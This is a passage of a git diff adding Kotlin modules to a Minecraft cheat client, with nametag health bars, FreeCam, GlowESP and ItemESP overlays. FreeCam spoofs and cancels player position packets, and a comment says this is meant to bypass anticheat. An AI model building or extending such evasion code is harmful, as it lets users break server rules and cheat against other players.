0f, 20f + xChange, 35f) + + drawRect(-40f + xChange, 0f, 40f + xChange, 15f, Color(72, 72, 72, 250).rgb) + drawRect(-40f + xChange, 20f, 40f + xChange, 35f, Color(72, 72, 72, 250).rgb) + } else { + drawRoundedCornerRect(-40f + xChange, 0f, 40f + xChange, 15f, 5f, Color(72, 72, 72, 250).rgb) + drawRoundedCornerRect(-40f + xChange, 20f, 40f + xChange, 35f, 5f, Color(72, 72, 72, 250).rgb) + } + + // draw health bars + drawRoundedCornerRect(-35f + xChange, 5f, -35f + (healthPercent * 70) + xChange, 10f, 2f, Color(10, 250, 10, 255).rgb) + drawRoundedCornerRect(-35f + xChange, 25f, -35f + ((entity.totalArmorValue / 20F) * 70) + xChange, 30f, 2f, Color(10, 10, 250, 255).rgb) + + } + + "arris" -> { + + glScalef(-scale * 2, -scale * 2, scale * 2) + val hp = healthPercent + val additionalWidth = font.getStringWidth("${entity.name} $hp hp").coerceAtLeast(75) + drawRoundedCornerRect(xChange, 0f, 45f + additionalWidth + xChange, 40f, 7f, Color(0, 0, 0, 110).rgb) + + // info text + font.drawString(entity.name, 40 + xChange.toInt(), 5, Color.WHITE.rgb) + "${HEALTH_FORMAT.format(entity.health)} hp".also { + font.drawString(it, 40 + additionalWidth - font.getStringWidth(it) + xChange.toInt(), 5, Color.LIGHT_GRAY.rgb) + } + + // hp bar + val yPos = 5 + font.FONT_HEIGHT + 3f + drawRect(40f + xChange, yPos, 40 + xChange + (healthPercent) * additionalWidth, yPos + 4, Color.GREEN.rgb) + drawRect(40f + xChange, yPos + 9, 40 + xChange + (entity.totalArmorValue / 20F) * additionalWidth, yPos + 13, Color(77, 128, 255).rgb) + } + + "fdp" -> { + + val font = fontValue.get() + glScalef(-scale * 2, -scale * 2, scale * 2) + + if (!fdpVertical.get()) { + var addedLen = (60 + font.getStringWidth(entity.name) * 1.60f).toFloat() + if (!fdpText.get()) addedLen = 110f + + if (fdpRed.get()) { + RenderUtils.drawRect(0f + xChange, 0f, addedLen + xChange, 47f, Color(212, 63, 63, 90).rgb) + RenderUtils.drawRoundedCornerRect(0f + xChange, 0f, healthPercent * addedLen + xChange, 47f, 3f, Color(245, 52, 27, 90).rgb) + } else { + RenderUtils.drawRect(0f + xChange, 0f, addedLen + xChange, 47f, Color(0, 0, 0, 120).rgb) + RenderUtils.drawRoundedCornerRect(0f + xChange, 0f, healthPercent * addedLen + xChange, 47f, 3f, Color(0, 0, 0, 90).rgb) + } + + drawShadow(0f, 0f, addedLen + xChange, 47f) + + if (fdpText.get()) { + + fontRenderer.drawString(entity.name, 45 + xChange.toInt(), 8, Color.WHITE.rgb) + fontRenderer.drawString("Health ${entity.health.roundToInt()}", 45 + xChange.toInt(), 11 + (font.FONT_HEIGHT).toInt(), Color.WHITE.rgb) + } + } else { + if (fdpRed.get()) { + RenderUtils.drawRect(0f + xChange, 0f, 47f + xChange, 120f + xChange, Color(212, 63, 63, 90).rgb) + RenderUtils.drawRoundedCornerRect(healthPercent*120f + xChange, 0f, 47f + xChange, 0f, 3f, Color(245, 52, 27, 90).rgb) + } else { + RenderUtils.drawRect(0f + xChange, 0f, 47f + xChange, 120f, Color(0, 0, 0, 120).rgb) + RenderUtils.drawRoundedCornerRect(0f + xChange, 0f, 47f + xChange, healthPercent * 120f, 3f, Color(0, 0, 0, 90).rgb) + } + } + + } + + "jello" -> { + // colors + var hpBarColor = Color(255, 255, 255, jelloAlphaValue.get()) + val name = entity.displayName.unformattedText + if (jelloColorValue.get() && name.startsWith("§")) { + hpBarColor = ColorUtils.colorCode(name.substring(1, 2), jelloAlphaValue.get()) + } + val bgColor = Color(50, 50, 50, jelloAlphaValue.get()) + val width = fontRenderer.getStringWidth(tag) + val maxWidth = (width + 4F) - (-width - 4F) + var healthPercent = entity.health / entity.maxHealth + + // render bg + glScalef(-scale * 2, -scale * 2, scale * 2) + drawRect(xChange, -fontRenderer.FONT_HEIGHT * 3F, width + 8F + xChange, -3F, bgColor) + + // render hp bar + if (healthPercent> 1) { + healthPercent = 1F + } + + drawRect(xChange, -3F, maxWidth * healthPercent + xChange, 1F, hpBarColor) + drawRect(maxWidth * healthPercent + xChange, -3F, width + 8F + xChange, 1F, bgColor) + + // string + fontRenderer.drawString(tag, 4 + xChange.toInt(), -fontRenderer.FONT_HEIGHT * 2 - 4, Color.WHITE.rgb) + glScalef(0.5F, 0.5F, 0.5F) + fontRenderer.drawString("Health: " + entity.health.toInt(), 4 + xChange.toInt(), -fontRenderer.FONT_HEIGHT * 2, Color.WHITE.rgb) + } + } + // Reset caps + resetCaps() + + // Reset color + resetColor() + glColor4f(1F, 1F, 1F, 1F) + + // Pop + glPopMatrix() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FreeCam.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FreeCam.kt new file mode 100644 index 0000000..3944cb4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FreeCam.kt @@ -0,0 +1,135 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.client.entity.EntityOtherPlayerMP +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +@ModuleInfo(name = "FreeCam", category = ModuleCategory.VISUAL, autoDisable = EnumAutoDisableType.RESPAWN) +object FreeCam : Module() { + + private val speedValue = FloatValue("Speed", 0.8f, 0.1f, 2f) + private val flyValue = BoolValue("Flight", true) + private val noClipValue = BoolValue("NoClip", true) + private val motionValue = BoolValue("RecordMotion", true) + private val c03SpoofValue = BoolValue("C03Spoof", false) + + private var fakePlayer: EntityOtherPlayerMP? = null + private var motionX = 0.0 + private var motionY = 0.0 + private var motionZ = 0.0 + private var packetCount = 0 + + override fun onEnable() { + if (mc.thePlayer == null || mc.theWorld == null) { + return + } + + if (motionValue.get()) { + motionX = mc.thePlayer.motionX + motionY = mc.thePlayer.motionY + motionZ = mc.thePlayer.motionZ + } else { + motionX = 0.0 + motionY = 0.0 + motionZ = 0.0 + } + + packetCount = 0 + fakePlayer = EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.gameProfile) + fakePlayer!!.clonePlayer(mc.thePlayer, true) + fakePlayer!!.rotationYawHead = mc.thePlayer.rotationYawHead + fakePlayer!!.copyLocationAndAnglesFrom(mc.thePlayer) + mc.theWorld.addEntityToWorld(-(Math.random() * 10000).toInt(), fakePlayer) + if (noClipValue.get()) { + mc.thePlayer.noClip = true + } + } + + override fun onDisable() { + if (mc.thePlayer == null || mc.theWorld == null) { + return + } + mc.thePlayer.setPositionAndRotation(fakePlayer!!.posX, fakePlayer!!.posY, fakePlayer!!.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch) + mc.theWorld.removeEntityFromWorld(fakePlayer!!.entityId) + fakePlayer = null + mc.thePlayer.motionX = motionX + mc.thePlayer.motionY = motionY + mc.thePlayer.motionZ = motionZ + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if ((noClipValue.get())) { + mc.thePlayer.noClip = true + } + mc.thePlayer.fallDistance = 0f + if (flyValue.get()) { + val value = speedValue.get() + mc.thePlayer.motionY = 0.0 + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + if (mc.gameSettings.keyBindJump.isKeyDown) { + mc.thePlayer.motionY += value.toDouble() + } + + if (mc.gameSettings.keyBindSneak.isKeyDown) { + mc.thePlayer.motionY -= value.toDouble() + } + MovementUtils.strafe(value) + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (c03SpoofValue.get()) { + if (packet is C03PacketPlayer.C04PacketPlayerPosition || packet is C03PacketPlayer.C05PacketPlayerLook || packet is C03PacketPlayer.C06PacketPlayerPosLook) { + if (packetCount >= 20) { + packetCount = 0 + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(fakePlayer!!.posX, fakePlayer!!.posY, fakePlayer!!.posZ, fakePlayer!!.rotationYaw, fakePlayer!!.rotationPitch, fakePlayer!!.onGround)) + } else { + packetCount++ + PacketUtils.sendPacketNoEvent(C03PacketPlayer(fakePlayer!!.onGround)) + } + event.cancelEvent() + } + } else if (packet is C03PacketPlayer) { + event.cancelEvent() + } + + if (packet is S08PacketPlayerPosLook) { + fakePlayer!!.setPosition(packet.x, packet.y, packet.z) + // when teleport,motion reset + motionX = 0.0 + motionY = 0.0 + motionZ = 0.0 + // apply the flag to bypass some anticheat + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C06PacketPlayerPosLook(fakePlayer!!.posX, fakePlayer!!.posY, fakePlayer!!.posZ, fakePlayer!!.rotationYaw, fakePlayer!!.rotationPitch, fakePlayer!!.onGround)) + + event.cancelEvent() + } + } + @EventTarget + fun onWorldChange(event: WorldEvent) { + // Disable when world changed + state = false + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Glint.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Glint.kt new file mode 100644 index 0000000..d4895db --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/Glint.kt @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import java.awt.Color + +@ModuleInfo(name = "Glint", category = ModuleCategory.VISUAL) +object Glint : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Rainbow", "AnotherRainbow", "Custom"), "Custom") + private val redValue = IntegerValue("Red", 255, 0, 255).displayable { modeValue.equals("Custom") } + private val greenValue = IntegerValue("Green", 0, 0, 255).displayable { modeValue.equals("Custom") } + private val blueValue = IntegerValue("Blue", 0, 0, 255).displayable { modeValue.equals("Custom") } + + fun getColor(): Color { + return when (modeValue.get().lowercase()) { + "rainbow" -> ColorUtils.rainbow() + "anotherrainbow" -> ColorUtils.skyRainbow(10, 0.9F, 1F, 1.0) + else -> Color(redValue.get(), greenValue.get(), blueValue.get()) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/GlowESP.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/GlowESP.kt new file mode 100644 index 0000000..9ce8e8b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/GlowESP.kt @@ -0,0 +1,256 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MathUtils.calculateGaussianValue +import net.ccbluex.liquidbounce.utils.animations.Animation +import net.ccbluex.liquidbounce.utils.animations.impl.DecelerateAnimation +import net.ccbluex.liquidbounce.utils.render.ColorUtils.interpolateColorsBackAndForth +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbowc +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.ShaderUtil +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.OpenGlHelper +import net.minecraft.client.renderer.culling.Frustum +import net.minecraft.client.shader.Framebuffer +import net.minecraft.entity.Entity +import net.minecraft.entity.monster.EntityMob +import net.minecraft.entity.passive.EntityAnimal +import net.minecraft.entity.player.EntityPlayer +import org.lwjgl.BufferUtils +import org.lwjgl.opengl.GL11 +import org.lwjgl.opengl.GL13 +import org.lwjgl.opengl.GL20 +import java.awt.Color +import java.util.* +import java.util.function.Consumer + +@ModuleInfo(name = "GlowESP", category = ModuleCategory.VISUAL) +class GlowESP : Module() { + val radius: FloatValue = FloatValue("Radius", 2f, 1f, 30f) + val exposure: FloatValue = FloatValue("Exposure", 2.2f, 1f, 3.5f) + val seperate: BoolValue = BoolValue("Seperate Texture", false) + val Players: BoolValue = BoolValue("Players", false) + val Animals: BoolValue = BoolValue("Animals", false) + val Mobs: BoolValue = BoolValue("Mobs", false) + + val colorMode: ListValue = ListValue( + "ColorMode", + arrayOf("Rainbow", "Light Rainbow", "Static", "Double Color", "Default"), + "Light Rainbow" + ) + val movingcolors: BoolValue = BoolValue("MovingColors", false) + val hueInterpolation: BoolValue = BoolValue("hueInterpolation", false) + private val outlineShader = ShaderUtil("shaders/outline.frag") + private val glowShader = ShaderUtil("shaders/glow.frag") + + var framebuffer: Framebuffer? = null + var outlineFrameBuffer: Framebuffer? = null + var glowFrameBuffer: Framebuffer? = null + private val frustum = Frustum() + private val frustum2 = Frustum() + + private val entities: MutableList<Entity> = ArrayList() + + private fun isInView(ent: Entity): Boolean { + frustum2.setPosition(mc.renderViewEntity.posX, mc.renderViewEntity.posY, mc.renderViewEntity.posZ) + return frustum2.isBoundingBoxInFrustum(ent.entityBoundingBox) || ent.ignoreFrustumCheck + } + + override fun onEnable() { + super.onEnable() + fadeIn = DecelerateAnimation(250, 1.0) + } + + fun createFrameBuffers() { + framebuffer = RenderUtils.createFrameBuffer(framebuffer) + outlineFrameBuffer = RenderUtils.createFrameBuffer(outlineFrameBuffer) + glowFrameBuffer = RenderUtils.createFrameBuffer(glowFrameBuffer) + } + + + @EventTarget + fun onrender3D(event: Render3DEvent) { + createFrameBuffers() + collectEntities() + framebuffer!!.framebufferClear() + framebuffer!!.bindFramebuffer(true) + renderEntities(event.partialTicks) + framebuffer!!.unbindFramebuffer() + mc.framebuffer.bindFramebuffer(true) + GlStateManager.disableLighting() + } + + @EventTarget + fun onrender2D(event: Render2DEvent?) { + val sr = ScaledResolution(mc) + if (framebuffer != null && outlineFrameBuffer != null && entities.isNotEmpty()) { + GlStateManager.enableAlpha() + GlStateManager.alphaFunc(516, 0.0f) + GlStateManager.enableBlend() + OpenGlHelper.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA, GL11.GL_ONE, GL11.GL_ZERO) + + outlineFrameBuffer!!.framebufferClear() + outlineFrameBuffer!!.bindFramebuffer(true) + outlineShader.init() + setupOutlineUniforms(0f, 1f) + RenderUtils.bindTexture(framebuffer!!.framebufferTexture) + ShaderUtil.drawQuads() + outlineShader.init() + setupOutlineUniforms(1f, 0f) + RenderUtils.bindTexture(framebuffer!!.framebufferTexture) + ShaderUtil.drawQuads() + outlineShader.unload() + outlineFrameBuffer!!.unbindFramebuffer() + + GlStateManager.color(1f, 1f, 1f, 1f) + glowFrameBuffer!!.framebufferClear() + glowFrameBuffer!!.bindFramebuffer(true) + glowShader.init() + setupGlowUniforms(1f, 0f) + RenderUtils.bindTexture(outlineFrameBuffer!!.framebufferTexture) + ShaderUtil.drawQuads() + glowShader.unload() + glowFrameBuffer!!.unbindFramebuffer() + + mc.framebuffer.bindFramebuffer(true) + glowShader.init() + setupGlowUniforms(0f, 1f) + if (seperate.get()) { + GL13.glActiveTexture(GL13.GL_TEXTURE16) + RenderUtils.bindTexture(framebuffer!!.framebufferTexture) + } + GL13.glActiveTexture(GL13.GL_TEXTURE0) + RenderUtils.bindTexture(glowFrameBuffer!!.framebufferTexture) + ShaderUtil.drawQuads() + glowShader.unload() + } + } + + + fun setupGlowUniforms(dir1: Float, dir2: Float) { + val color = color + glowShader.setUniformi("texture", 0) + if (seperate.get()) { + glowShader.setUniformi("textureToCheck", 16) + } + glowShader.setUniformf("radius", radius.get()) + glowShader.setUniformf("texelSize", 1.0f / mc.displayWidth, 1.0f / mc.displayHeight) + glowShader.setUniformf("direction", dir1, dir2) + glowShader.setUniformf("color", color!!.red / 255f, color.green / 255f, color.blue / 255f) + glowShader.setUniformf("exposure", (exposure.get() * fadeIn!!.output).toFloat()) + glowShader.setUniformi("avoidTexture", if (seperate.get()) 1 else 0) + + val buffer = BufferUtils.createFloatBuffer(256) + for (i in 1..radius.value.toInt()) { + buffer.put(calculateGaussianValue(i.toFloat(), radius.get() / 2)) + } + buffer.rewind() + + GL20.glUniform1(glowShader.getUniform("weights"), buffer) + } + + + fun setupOutlineUniforms(dir1: Float, dir2: Float) { + val color = color + outlineShader.setUniformi("texture", 0) + outlineShader.setUniformf("radius", radius.get() / 1.5f) + outlineShader.setUniformf("texelSize", 1.0f / mc.displayWidth, 1.0f / mc.displayHeight) + outlineShader.setUniformf("direction", dir1, dir2) + outlineShader.setUniformf("color", color!!.red / 255f, color.green / 255f, color.blue / 255f) + } + + fun renderEntities(ticks: Float) { + entities.forEach(Consumer { entity: Entity? -> + renderNameTags = false + mc.renderManager.renderEntityStatic(entity, ticks, false) + renderNameTags = true + }) + } + + private val color: Color? + get() { + val colors = clientColors + return if (movingcolors.get()) { + colors[0] + } else { + interpolateColorsBackAndForth(15, 0, colors[0], colors[1], hueInterpolation.get()) + } + } + + fun collectEntities() { + entities.clear() + for (entity in mc.theWorld.getLoadedEntityList()) { + if (!isInView(entity)) continue + if (entity === mc.thePlayer && mc.gameSettings.thirdPersonView == 0) continue + if (entity is EntityAnimal && Animals.get()) { + entities.add(entity) + } + + if (entity is EntityPlayer && Players.get()) { + entities.add(entity) + } + + if (entity is EntityMob && Mobs.get()) { + entities.add(entity) + } + } + } + + val clientColors: Array<Color?> + get() { + val firstColor: Color? + val secondColor: Color? + when (colorMode.get().lowercase(Locale.getDefault())) { + "light rainbow" -> { + firstColor = rainbowc(15, 1, .6f, 1f, 1f) + secondColor = rainbowc(15, 40, .6f, 1f, 1f) + } + + "rainbow" -> { + firstColor = rainbow() + secondColor = firstColor + } + + "double color" -> { + firstColor = interpolateColorsBackAndForth(15, 0, Color.PINK, Color.BLUE, hueInterpolation.get()) + secondColor = interpolateColorsBackAndForth(15, 90, Color.PINK, Color.BLUE, hueInterpolation.get()) + } + + "static" -> { + firstColor = Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + secondColor = firstColor + } + + else -> { + firstColor = Color(-1) + secondColor = Color(-1) + } + } + return arrayOf(firstColor, secondColor) + } + + companion object { + val colorRedValue: IntegerValue = IntegerValue("R", 0, 0, 255) + val colorGreenValue: IntegerValue = IntegerValue("G", 160, 0, 255) + val colorBlueValue: IntegerValue = IntegerValue("B", 255, 0, 255) + + var renderNameTags: Boolean = true + var fadeIn: Animation? = null + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ItemESP.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ItemESP.kt new file mode 100644 index 0000000..a0e5bf8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ItemESP.kt @@ -0,0 +1,352 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.Colors +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shader.shaders.GlowShader +import net.ccbluex.liquidbounce.utils.render.shader.shaders.OutlineShader +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.item.EntityItem +import net.minecraft.entity.projectile.EntityArrow +import net.minecraft.util.AxisAlignedBB +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.roundToInt + +@ModuleInfo(name = "ItemESP", category = ModuleCategory.VISUAL) +object ItemESP : Module() { + + private val entityConvertedPointsMap: MutableMap<EntityItem, DoubleArray> = HashMap() + private val modeValue = ListValue("Mode", arrayOf("Box", "OtherBox", "Outline", "Exhibition", "LightBox", "ShaderOutline", "ShaderGlow"), "Box") + private val outlineWidth = FloatValue("Outline-Width", 3f, 0.5f, 5f).displayable { modeValue.equals("Outline") } + private val colorRedValue = IntegerValue("R", 0, 0, 255).displayable { !colorRainbowValue.get() } + private val colorGreenValue = IntegerValue("G", 255, 0, 255).displayable { !colorRainbowValue.get() } + private val colorBlueValue = IntegerValue("B", 0, 0, 255).displayable { !colorRainbowValue.get() } + private val colorRainbowValue = BoolValue("Rainbow", true) + + private fun getColor(): Color { + return if (colorRainbowValue.get()) rainbow() else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + } + + @EventTarget + fun onRender3D(event: Render3DEvent?) { + val color = getColor() + for (entity in mc.theWorld.loadedEntityList) { + if (!(entity is EntityItem || entity is EntityArrow)) continue + when (modeValue.get().lowercase()) { + "box" -> RenderUtils.drawEntityBox(entity, color, true, true, outlineWidth.get()) + "otherbox" -> RenderUtils.drawEntityBox(entity, color, false, true, outlineWidth.get()) + "outline" -> RenderUtils.drawEntityBox(entity, color, true, false, outlineWidth.get()) + } + } + + if (modeValue.get().equals("LightBox", ignoreCase = true)) { + for (o in mc.theWorld.loadedEntityList) { + if (o !is EntityItem) continue + val item = o + val x = item.posX - mc.renderManager.renderPosX + val y = item.posY + 0.5 - mc.renderManager.renderPosY + val z = item.posZ - mc.renderManager.renderPosZ + GL11.glEnable(3042) + GL11.glLineWidth(2.0f) + GL11.glColor4f(1f, 1f, 1f, .75f) + GL11.glDisable(3553) + GL11.glDisable(2929) + GL11.glDepthMask(false) + RenderUtils.drawOutlinedBoundingBox(AxisAlignedBB(x - .2, y - 0.3, z - .2, x + .2, y - 0.4, z + .2)) + GL11.glColor4f(1f, 1f, 1f, 0.15f) + RenderUtils.drawBoundingBox(AxisAlignedBB(x - .2, y - 0.3, z - .2, x + .2, y - 0.4, z + .2)) + GL11.glEnable(3553) + GL11.glEnable(2929) + GL11.glDepthMask(true) + GL11.glDisable(3042) + } + } + if (modeValue.get().equals("Exhibition", ignoreCase = true)) { + entityConvertedPointsMap.clear() + val pTicks = mc.timer.renderPartialTicks + for (e2 in mc.theWorld.getLoadedEntityList()) { + if (e2 is EntityItem) { + val ent = e2 + var x = ent.lastTickPosX + (ent.posX - ent.lastTickPosX) * pTicks + -mc.renderManager.viewerPosX + 0.36 + var y = (ent.lastTickPosY + (ent.posY - ent.lastTickPosY) * pTicks + - mc.renderManager.viewerPosY) + var z = ent.lastTickPosZ + (ent.posZ - ent.lastTickPosZ) * pTicks + -mc.renderManager.viewerPosZ + 0.36 + val topY: Double + y = y + (ent.height + 0.15).also { topY = it } + val convertedPoints = RenderUtils.convertTo2D(x, y, z) + val convertedPoints2 = RenderUtils.convertTo2D(x - 0.36, y, z - 0.36) + val xd = 0.0 + assert(convertedPoints2 != null) + if (convertedPoints2!![2] < 0.0 || convertedPoints2[2] >= 1.0) continue + x = (ent.lastTickPosX + (ent.posX - ent.lastTickPosX) * pTicks - mc.renderManager.viewerPosX + - 0.36) + z = (ent.lastTickPosZ + (ent.posZ - ent.lastTickPosZ) * pTicks - mc.renderManager.viewerPosZ + - 0.36) + val convertedPointsBottom = RenderUtils.convertTo2D(x, y, z) + y = (ent.lastTickPosY + (ent.posY - ent.lastTickPosY) * pTicks - mc.renderManager.viewerPosY + - 0.05) + val convertedPointsx = RenderUtils.convertTo2D(x, y, z) + x = (ent.lastTickPosX + (ent.posX - ent.lastTickPosX) * pTicks - mc.renderManager.viewerPosX + - 0.36) + z = (ent.lastTickPosZ + (ent.posZ - ent.lastTickPosZ) * pTicks - mc.renderManager.viewerPosZ + + 0.36) + val convertedPointsTop1 = RenderUtils.convertTo2D(x, topY, z) + val convertedPointsx2 = RenderUtils.convertTo2D(x, y, z) + x = (ent.lastTickPosX + (ent.posX - ent.lastTickPosX) * pTicks - mc.renderManager.viewerPosX + + 0.36) + z = (ent.lastTickPosZ + (ent.posZ - ent.lastTickPosZ) * pTicks - mc.renderManager.viewerPosZ + + 0.36) + val convertedPointsz = RenderUtils.convertTo2D(x, y, z) + x = (ent.lastTickPosX + (ent.posX - ent.lastTickPosX) * pTicks - mc.renderManager.viewerPosX + + 0.36) + z = (ent.lastTickPosZ + (ent.posZ - ent.lastTickPosZ) * pTicks - mc.renderManager.viewerPosZ + - 0.36) + val convertedPointsTop2 = RenderUtils.convertTo2D(x, topY, z) + val convertedPointsz2 = RenderUtils.convertTo2D(x, y, z) + assert(convertedPoints != null) + assert(convertedPointsx != null) + assert(convertedPointsTop1 != null) + assert(convertedPointsTop2 != null) + assert(convertedPointsz2 != null) + assert(convertedPointsz != null) + assert(convertedPointsx2 != null) + assert(convertedPointsBottom != null) + entityConvertedPointsMap[ent] = doubleArrayOf( + convertedPoints!![0], + convertedPoints[1], xd, + convertedPoints[2], + convertedPointsBottom!![0], + convertedPointsBottom[1], + convertedPointsBottom[2], + convertedPointsx!![0], + convertedPointsx[1], + convertedPointsx[2], + convertedPointsx2!![0], + convertedPointsx2[1], + convertedPointsx2[2], + convertedPointsz!![0], + convertedPointsz[1], + convertedPointsz[2], convertedPointsz2!![0], convertedPointsz2[1], convertedPointsz2[2], + convertedPointsTop1!![0], convertedPointsTop1[1], convertedPointsTop1[2], + convertedPointsTop2!![0], convertedPointsTop2[1], convertedPointsTop2[2] + ) + } + } + } + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + if (modeValue.get().equals("Exhibition", ignoreCase = true)) { + GlStateManager.pushMatrix() + for (ent in entityConvertedPointsMap.keys) { + val renderPositions = entityConvertedPointsMap[ent] + val renderPositionsBottom = doubleArrayOf( + renderPositions!![4], renderPositions[5], + renderPositions[6] + ) + val renderPositionsX = doubleArrayOf( + renderPositions[7], renderPositions[8], + renderPositions[9] + ) + val renderPositionsX2 = doubleArrayOf( + renderPositions[10], renderPositions[11], + renderPositions[12] + ) + val renderPositionsZ = doubleArrayOf( + renderPositions[13], renderPositions[14], + renderPositions[15] + ) + val renderPositionsZ2 = doubleArrayOf( + renderPositions[16], renderPositions[17], + renderPositions[18] + ) + val renderPositionsTop1 = doubleArrayOf( + renderPositions[19], renderPositions[20], + renderPositions[21] + ) + val renderPositionsTop2 = doubleArrayOf( + renderPositions[22], renderPositions[23], + renderPositions[24] + ) + GlStateManager.pushMatrix() + GlStateManager.scale(0.5, 0.5, 0.5) + if (mc.theWorld.loadedEntityList.contains(ent)) { + try { + val xValues = doubleArrayOf( + renderPositions[0], renderPositionsBottom[0], renderPositionsX[0], + renderPositionsX2[0], renderPositionsZ[0], renderPositionsZ2[0], renderPositionsTop1[0], + renderPositionsTop2[0] + ) + val yValues = doubleArrayOf( + renderPositions[1], renderPositionsBottom[1], renderPositionsX[1], + renderPositionsX2[1], renderPositionsZ[1], renderPositionsZ2[1], renderPositionsTop1[1], + renderPositionsTop2[1] + ) + var x = renderPositions[0] + var y = renderPositions[1] + var endx = renderPositionsBottom[0] + var endy = renderPositionsBottom[1] + var array: DoubleArray + val length = xValues.also { array = it }.size + var j = 0 + while (j < length) { + val bdubs = array[j] + if (bdubs < x) { + x = bdubs + } + ++j + } + var array2: DoubleArray + val length2 = xValues.also { array2 = it }.size + var k = 0 + while (k < length2) { + val bdubs = array2[k] + if (bdubs > endx) { + endx = bdubs + } + ++k + } + var array3: DoubleArray + val length3 = yValues.also { array3 = it }.size + var l = 0 + while (l < length3) { + val bdubs = array3[l] + if (bdubs < y) { + y = bdubs + } + ++l + } + var array4: DoubleArray + val length4 = yValues.also { array4 = it }.size + var n = 0 + while (n < length4) { + val bdubs = array4[n] + if (bdubs > endy) { + endy = bdubs + } + ++n + } + RenderUtils.rectangleBordered( + x + 0.5, + y + 0.5, + endx - 0.5, + endy - 0.5, + 1.0, + Colors.getColor(0, 0, 0, 0), + Color(255, 255, 255).rgb 